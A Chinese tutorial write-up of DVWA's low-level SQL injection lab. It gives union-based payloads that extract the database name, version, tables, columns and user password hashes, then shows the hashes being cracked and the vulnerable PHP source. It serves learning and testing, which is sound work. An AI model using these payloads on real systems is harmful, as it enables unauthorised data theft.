【DVWA】SQL Injection-----------------------low

【DVWA】SQL Injection-----------------------low

1、初步测试

输入单引号报错

输入' and 1=1#回显正常,说明存在sql注入

输入' or 1=1#,遍历出数据库内容:

image-20210225134225933

用order by测出主查询为两个字段

2、获取数据库名、用户名、版本

用union语句查询数据库名和用户名:

payload_1:' union select database(),user()#

image-20210225134617266

payload_2:' union select 1,concat_ws('~',database(),user(),version())#

分析:用concat()函数可以将多个查询结果拼接成一串;concat_ws()可以直接指定分隔符;优点是使用concat()或concat_ws()函数可以仅占用一个查询字段就返回多个结果,效率很高

image-20210225200220793

得到数据库名为dvwa,用户名为root@localhost版本号为5.7.26

3、获取表名

查询dvwa数据库中的表名:

' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#

image-20210225135019289

结果报出了这个错误,说是这个union操作非法,上网查了很多资料说是union两端查询的字段的排序规则不同问题解决

问题解决后,继续测试:

payload1:1' and 1=2 union select 1,group_concat(table_name) from information_schema.columns where table_schema='dvwa'#

分析:这里的and 1=2是为了屏蔽主查询的结果回显,使得回显点输出的敏感字符更多,或者减少干扰项

image-20210225201757435

获取的表名为guestbook,users。

4、获取列名

payload2:1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

分析:这里的group_concat()函数作用是将column_name查询出来的内容拼接在一块(用,隔开),在回显点只允许输出一行的情况下,这种方法效率更高。

image-20210225201424718

5、获取user与password

payload_1:1' and 1=2 union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

image-20210225204331013

payload_2:1' and 1=2 union select concat(user_id,first_name,last_name),1 from users#

image-20210225205635147

注:concat()函数是将所有元素查询的结果拼接在一块,一次只能显示一次的遍历结果

group_concat()函数是将所有元素查询的结果拼接在一块,将每次遍历的结果用‘,’隔开

6、暴力破解密码

搜索md5在线破解工具:

image-20210225210050540

源码分析:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //此处没有过滤或预处理,直接拼接到sql语句中,存在sql注入漏洞
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?> 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值